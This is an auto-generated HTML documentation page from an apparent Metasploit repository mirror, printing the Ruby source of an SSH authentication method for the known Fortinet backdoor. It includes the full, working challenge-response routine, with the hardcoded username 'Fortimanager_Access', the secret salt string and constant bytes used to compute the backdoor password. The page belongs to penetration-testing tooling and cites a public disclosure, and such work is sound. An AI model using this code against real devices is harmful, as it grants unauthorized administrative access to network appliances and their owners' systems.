adam/metasploit-gs
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
Files
c3f5bd3de2d1affa01e2f6c2066c6bb0fc6413bc
metasploit-gs/api/Net/SSH/Authentication/Methods/FortinetBackdoor.html
T
jenkins-metasploit c3f5bd3de2 Reboot gh-pages
2026-05-08 17:08:43 +00:00

490 lines
22 KiB
HTML
Raw Blame History

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>
Class: Net::SSH::Authentication::Methods::FortinetBackdoor
&mdash; Documentation by YARD 0.9.37
</title>
<link rel="stylesheet" href="../../../../css/style.css" type="text/css" />
<link rel="stylesheet" href="../../../../css/common.css" type="text/css" />
<script type="text/javascript">
pathId = "Net::SSH::Authentication::Methods::FortinetBackdoor";
relpath = '../../../../';
</script>
<script type="text/javascript" charset="utf-8" src="../../../../js/jquery.js"></script>
<script type="text/javascript" charset="utf-8" src="../../../../js/app.js"></script>
</head>
<body>
<div class="nav_wrap">
<iframe id="nav" src="../../../../class_list.html?1"></iframe>
<div id="resizer"></div>
</div>
<div id="main" tabindex="-1">
<div id="header">
<div id="menu">
<a href="../../../../_index.html">Index (F)</a> &raquo;
<span class='title'><span class='object_link'><a href="../../../../Msf.html" title="Msf (module)">Msf</a></span></span> &raquo; <span class='title'><span class='object_link'><a href="../../../../Msf/Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span> &raquo; <span class='title'><span class='object_link'><a href="../../../../Msf/Exploit/Remote.html" title="Msf::Exploit::Remote (class)">Remote</a></span></span> &raquo; <span class='title'><span class='object_link'><a href="../../../../Msf/Exploit/Remote/SSH.html" title="Msf::Exploit::Remote::SSH (module)">SSH</a></span></span> &raquo; <span class='title'><span class='object_link'><a href="../../../../Msf/Exploit/Remote/SSH/AuthMethods.html" title="Msf::Exploit::Remote::SSH::AuthMethods (module)">AuthMethods</a></span></span> &raquo; <span class='title'><span class='object_link'><a href="../../../../Msf/Exploit/Remote/SSH/AuthMethods/FortinetBackdoor.html" title="Msf::Exploit::Remote::SSH::AuthMethods::FortinetBackdoor (module)">FortinetBackdoor</a></span></span> &raquo; <span class='title'>Net</span> &raquo; <span class='title'>SSH</span> &raquo; <span class='title'>Authentication</span> &raquo; <span class='title'>Methods</span>
&raquo;
<span class="title">FortinetBackdoor</span>
</div>
<div id="search">
<a class="full_list_link" id="class_list_link"
href="../../../../class_list.html">
<svg width="24" height="24">
<rect x="0" y="4" width="24" height="4" rx="1" ry="1"></rect>
<rect x="0" y="12" width="24" height="4" rx="1" ry="1"></rect>
<rect x="0" y="20" width="24" height="4" rx="1" ry="1"></rect>
</svg>
</a>
</div>
<div class="clear"></div>
</div>
<div id="content"><h1>Class: Net::SSH::Authentication::Methods::FortinetBackdoor
</h1>
<div class="box_info">
<dl>
<dt>Inherits:</dt>
<dd>
<span class="inheritName">Abstract</span>
<ul class="fullTree">
<li>Object</li>
<li class="next">Abstract</li>
<li class="next">Net::SSH::Authentication::Methods::FortinetBackdoor</li>
</ul>
<a href="#" class="inheritanceTree">show all</a>
</dd>
</dl>
<dl>
<dt>Defined in:</dt>
<dd>lib/msf/core/exploit/remote/ssh/auth_methods/fortinet_backdoor.rb</dd>
</dl>
</div>
<h2>Overview</h2><div class="docstring">
<div class="discussion">
<p><a href="https://www.ietf.org/rfc/rfc4252.txt">www.ietf.org/rfc/rfc4252.txt</a> <a href="https://www.ietf.org/rfc/rfc4256.txt">www.ietf.org/rfc/rfc4256.txt</a></p>
</div>
</div>
<div class="tags">
</div>
<h2>
Constant Summary
<small><a href="#" class="constants_summary_toggle">collapse</a></small>
</h2>
<dl class="constants">
<dt id="USERAUTH_INFO_REQUEST-constant" class="">USERAUTH_INFO_REQUEST =
</dt>
<dd><pre class="code"><span class='int'>60</span></pre></dd>
<dt id="USERAUTH_INFO_RESPONSE-constant" class="">USERAUTH_INFO_RESPONSE =
</dt>
<dd><pre class="code"><span class='int'>61</span></pre></dd>
</dl>
<h2>
Instance Method Summary
<small><a href="#" class="summary_toggle">collapse</a></small>
</h2>
<ul class="summary">
<li class="public ">
<span class="summary_signature">
<a href="#authenticate-instance_method" title="#authenticate (instance method)">#<strong>authenticate</strong>(service_name, username = &#39;Fortimanager_Access&#39;, password = nil) &#x21d2; Object </a>
</span>
<span class="summary_desc"><div class='inline'></div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#custom_handler-instance_method" title="#custom_handler (instance method)">#<strong>custom_handler</strong>(title, instructions, prompt_list) &#x21d2; Object </a>
</span>
<span class="summary_desc"><div class='inline'>
<p><a href="http://seclists.org/fulldisclosure/2016/Jan/26">seclists.org/fulldisclosure/2016/Jan/26</a>.</p>
</div></span>
</li>
</ul>
<div id="instance_method_details" class="method_details_list">
<h2>Instance Method Details</h2>
<div class="method_details first">
<h3 class="signature first" id="authenticate-instance_method">
#<strong>authenticate</strong>(service_name, username = &#39;Fortimanager_Access&#39;, password = nil) &#x21d2; <tt>Object</tt>
</h3><table class="source_code">
<tr>
<td>
<pre class="lines">
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111</pre>
</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ssh/auth_methods/fortinet_backdoor.rb', line 15</span>
<span class='kw'>def</span> <span class='id identifier rubyid_authenticate'>authenticate</span><span class='lparen'>(</span><span class='id identifier rubyid_service_name'>service_name</span><span class='comma'>,</span> <span class='id identifier rubyid_username'>username</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>Fortimanager_Access</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='id identifier rubyid_password'>password</span> <span class='op'>=</span> <span class='kw'>nil</span><span class='rparen'>)</span>
<span class='id identifier rubyid_debug'>debug</span> <span class='lbrace'>{</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>Sending SSH_MSG_USERAUTH_REQUEST (password)</span><span class='tstring_end'>&#39;</span></span> <span class='rbrace'>}</span>
<span class='id identifier rubyid_send_message'>send_message</span><span class='lparen'>(</span><span class='id identifier rubyid_userauth_request'>userauth_request</span><span class='lparen'>(</span>
<span class='embdoc_beg'>=begin
</span><span class='embdoc'> string user name
</span><span class='embdoc'> string service name
</span><span class='embdoc'> string &quot;password&quot;
</span><span class='embdoc'> boolean FALSE
</span><span class='embdoc'> string plaintext password in ISO-10646 UTF-8 encoding [RFC3629]
</span><span class='embdoc_end'>=end
</span> <span class='id identifier rubyid_username'>username</span><span class='comma'>,</span>
<span class='id identifier rubyid_service_name'>service_name</span><span class='comma'>,</span>
<span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>password</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span>
<span class='kw'>false</span><span class='comma'>,</span>
<span class='id identifier rubyid_password'>password</span> <span class='op'>||</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_end'>&#39;</span></span>
<span class='rparen'>)</span><span class='rparen'>)</span>
<span class='id identifier rubyid_tried'>tried</span> <span class='op'>=</span> <span class='kw'>false</span>
<span class='id identifier rubyid_loop'>loop</span> <span class='kw'>do</span>
<span class='id identifier rubyid_message'>message</span> <span class='op'>=</span> <span class='id identifier rubyid_session'>session</span><span class='period'>.</span><span class='id identifier rubyid_next_message'>next_message</span>
<span class='kw'>return</span> <span class='kw'>false</span> <span class='kw'>unless</span> <span class='id identifier rubyid_message'>message</span>
<span class='kw'>case</span> <span class='id identifier rubyid_message'>message</span><span class='period'>.</span><span class='id identifier rubyid_type'>type</span>
<span class='kw'>when</span> <span class='const'>USERAUTH_SUCCESS</span>
<span class='id identifier rubyid_debug'>debug</span> <span class='lbrace'>{</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>Received SSH_MSG_USERAUTH_SUCCESS</span><span class='tstring_end'>&#39;</span></span> <span class='rbrace'>}</span>
<span class='kw'>return</span> <span class='kw'>true</span>
<span class='kw'>when</span> <span class='const'>USERAUTH_FAILURE</span>
<span class='id identifier rubyid_debug'>debug</span> <span class='lbrace'>{</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>Received SSH_MSG_USERAUTH_FAILURE</span><span class='tstring_end'>&#39;</span></span> <span class='rbrace'>}</span>
<span class='kw'>break</span> <span class='kw'>if</span> <span class='id identifier rubyid_tried'>tried</span>
<span class='id identifier rubyid_debug'>debug</span> <span class='lbrace'>{</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>Sending SSH_MSG_USERAUTH_REQUEST (keyboard-interactive)</span><span class='tstring_end'>&#39;</span></span> <span class='rbrace'>}</span>
<span class='id identifier rubyid_send_message'>send_message</span><span class='lparen'>(</span><span class='id identifier rubyid_userauth_request'>userauth_request</span><span class='lparen'>(</span>
<span class='embdoc_beg'>=begin
</span><span class='embdoc'> string user name (ISO-10646 UTF-8, as defined in [RFC-3629])
</span><span class='embdoc'> string service name (US-ASCII)
</span><span class='embdoc'> string &quot;keyboard-interactive&quot; (US-ASCII)
</span><span class='embdoc'> string language tag (as defined in [RFC-3066])
</span><span class='embdoc'> string submethods (ISO-10646 UTF-8)
</span><span class='embdoc_end'>=end
</span> <span class='id identifier rubyid_username'>username</span><span class='comma'>,</span>
<span class='id identifier rubyid_service_name'>service_name</span><span class='comma'>,</span>
<span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>keyboard-interactive</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span>
<span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span>
<span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_end'>&#39;</span></span>
<span class='rparen'>)</span><span class='rparen'>)</span>
<span class='id identifier rubyid_tried'>tried</span> <span class='op'>=</span> <span class='kw'>true</span>
<span class='kw'>when</span> <span class='const'><span class='object_link'><a href="#USERAUTH_INFO_REQUEST-constant" title="Net::SSH::Authentication::Methods::FortinetBackdoor::USERAUTH_INFO_REQUEST (constant)">USERAUTH_INFO_REQUEST</a></span></span>
<span class='id identifier rubyid_debug'>debug</span> <span class='lbrace'>{</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>Received SSH_MSG_USERAUTH_INFO_REQUEST</span><span class='tstring_end'>&#39;</span></span> <span class='rbrace'>}</span>
<span class='embdoc_beg'>=begin
</span><span class='embdoc'> string name (ISO-10646 UTF-8)
</span><span class='embdoc'> string instruction (ISO-10646 UTF-8)
</span><span class='embdoc'> string language tag (as defined in [RFC-3066])
</span><span class='embdoc'> int num-prompts
</span><span class='embdoc'> string prompt[1] (ISO-10646 UTF-8)
</span><span class='embdoc'> boolean echo[1]
</span><span class='embdoc'> ...
</span><span class='embdoc'> string prompt[num-prompts] (ISO-10646 UTF-8)
</span><span class='embdoc'> boolean echo[num-prompts]
</span><span class='embdoc_end'>=end
</span> <span class='id identifier rubyid_name'>name</span> <span class='op'>=</span> <span class='id identifier rubyid_message'>message</span><span class='period'>.</span><span class='id identifier rubyid_read_string'>read_string</span>
<span class='id identifier rubyid_instruction'>instruction</span> <span class='op'>=</span> <span class='id identifier rubyid_message'>message</span><span class='period'>.</span><span class='id identifier rubyid_read_string'>read_string</span>
<span class='id identifier rubyid__'>_</span> <span class='op'>=</span> <span class='id identifier rubyid_message'>message</span><span class='period'>.</span><span class='id identifier rubyid_read_string'>read_string</span>
<span class='id identifier rubyid_prompts'>prompts</span> <span class='op'>=</span> <span class='lbracket'>[</span><span class='rbracket'>]</span>
<span class='id identifier rubyid_message'>message</span><span class='period'>.</span><span class='id identifier rubyid_read_long'>read_long</span><span class='period'>.</span><span class='id identifier rubyid_times'>times</span> <span class='kw'>do</span>
<span class='id identifier rubyid_prompt'>prompt</span> <span class='op'>=</span> <span class='id identifier rubyid_message'>message</span><span class='period'>.</span><span class='id identifier rubyid_read_string'>read_string</span>
<span class='id identifier rubyid_echo'>echo</span> <span class='op'>=</span> <span class='id identifier rubyid_message'>message</span><span class='period'>.</span><span class='id identifier rubyid_read_bool'>read_bool</span>
<span class='id identifier rubyid_prompts'>prompts</span> <span class='op'>&lt;&lt;</span> <span class='lbracket'>[</span><span class='id identifier rubyid_prompt'>prompt</span><span class='comma'>,</span> <span class='id identifier rubyid_echo'>echo</span><span class='rbracket'>]</span>
<span class='kw'>end</span>
<span class='id identifier rubyid_debug'>debug</span> <span class='lbrace'>{</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>Sending SSH_MSG_USERAUTH_INFO_RESPONSE</span><span class='tstring_end'>&#39;</span></span> <span class='rbrace'>}</span>
<span class='id identifier rubyid_send_message'>send_message</span><span class='lparen'>(</span><span class='const'>Net</span><span class='op'>::</span><span class='const'>SSH</span><span class='op'>::</span><span class='const'>Buffer</span><span class='period'>.</span><span class='id identifier rubyid_from'>from</span><span class='lparen'>(</span>
<span class='embdoc_beg'>=begin
</span><span class='embdoc'> byte SSH_MSG_USERAUTH_INFO_RESPONSE
</span><span class='embdoc'> int num-responses
</span><span class='embdoc'> string response[1] (ISO-10646 UTF-8)
</span><span class='embdoc'> ...
</span><span class='embdoc'> string response[num-responses] (ISO-10646 UTF-8)
</span><span class='embdoc_end'>=end
</span> <span class='symbol'>:byte</span><span class='comma'>,</span> <span class='const'><span class='object_link'><a href="#USERAUTH_INFO_RESPONSE-constant" title="Net::SSH::Authentication::Methods::FortinetBackdoor::USERAUTH_INFO_RESPONSE (constant)">USERAUTH_INFO_RESPONSE</a></span></span><span class='comma'>,</span>
<span class='symbol'>:long</span><span class='comma'>,</span> <span class='int'>1</span><span class='comma'>,</span>
<span class='symbol'>:string</span><span class='comma'>,</span> <span class='id identifier rubyid_custom_handler'>custom_handler</span><span class='lparen'>(</span><span class='id identifier rubyid_name'>name</span><span class='comma'>,</span> <span class='id identifier rubyid_instruction'>instruction</span><span class='comma'>,</span> <span class='id identifier rubyid_prompts'>prompts</span><span class='rparen'>)</span>
<span class='rparen'>)</span><span class='rparen'>)</span>
<span class='kw'>else</span>
<span class='id identifier rubyid_raise'>raise</span> <span class='const'>Net</span><span class='op'>::</span><span class='const'>SSH</span><span class='op'>::</span><span class='const'>Exception</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Received unexpected message: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_message'>message</span><span class='period'>.</span><span class='id identifier rubyid_inspect'>inspect</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span>
<span class='kw'>end</span>
<span class='kw'>end</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="custom_handler-instance_method">
#<strong>custom_handler</strong>(title, instructions, prompt_list) &#x21d2; <tt>Object</tt>
</h3><div class="docstring">
<div class="discussion">
<p><a href="http://seclists.org/fulldisclosure/2016/Jan/26">seclists.org/fulldisclosure/2016/Jan/26</a></p>
</div>
</div>
<div class="tags">
</div><table class="source_code">
<tr>
<td>
<pre class="lines">
114
115
116
117
118
119
120
121
122</pre>
</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ssh/auth_methods/fortinet_backdoor.rb', line 114</span>
<span class='kw'>def</span> <span class='id identifier rubyid_custom_handler'>custom_handler</span><span class='lparen'>(</span><span class='id identifier rubyid_title'>title</span><span class='comma'>,</span> <span class='id identifier rubyid_instructions'>instructions</span><span class='comma'>,</span> <span class='id identifier rubyid_prompt_list'>prompt_list</span><span class='rparen'>)</span>
<span class='id identifier rubyid_n'>n</span> <span class='op'>=</span> <span class='id identifier rubyid_prompt_list'>prompt_list</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span>
<span class='id identifier rubyid_m'>m</span> <span class='op'>=</span> <span class='const'>Digest</span><span class='op'>::</span><span class='const'>SHA1</span><span class='period'>.</span><span class='id identifier rubyid_new'>new</span>
<span class='id identifier rubyid_m'>m</span><span class='period'>.</span><span class='id identifier rubyid_update'>update</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\x00</span><span class='tstring_end'>&quot;</span></span> <span class='op'>*</span> <span class='int'>12</span><span class='rparen'>)</span>
<span class='id identifier rubyid_m'>m</span><span class='period'>.</span><span class='id identifier rubyid_update'>update</span><span class='lparen'>(</span><span class='id identifier rubyid_n'>n</span> <span class='op'>+</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>FGTAbc11*xy+Qqz27</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_m'>m</span><span class='period'>.</span><span class='id identifier rubyid_update'>update</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_h'>h</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>AK1</span><span class='tstring_end'>&#39;</span></span> <span class='op'>+</span> <span class='const'>Base64</span><span class='period'>.</span><span class='id identifier rubyid_encode64'>encode64</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\x00</span><span class='tstring_end'>&quot;</span></span> <span class='op'>*</span> <span class='int'>12</span> <span class='op'>+</span> <span class='id identifier rubyid_m'>m</span><span class='period'>.</span><span class='id identifier rubyid_digest'>digest</span><span class='rparen'>)</span>
<span class='lbracket'>[</span><span class='id identifier rubyid_h'>h</span><span class='rbracket'>]</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
</div>
</div>
<div id="footer">
Generated on Fri May 8 17:03:50 2026 by
<a href="https://yardoc.org" title="Yay! A Ruby Documentation Tool" target="_parent">yard</a>
0.9.37 (ruby-3.1.5).
</div>
</div>
</body>
</html>
Reference in New Issue View Git Blame Copy Permalink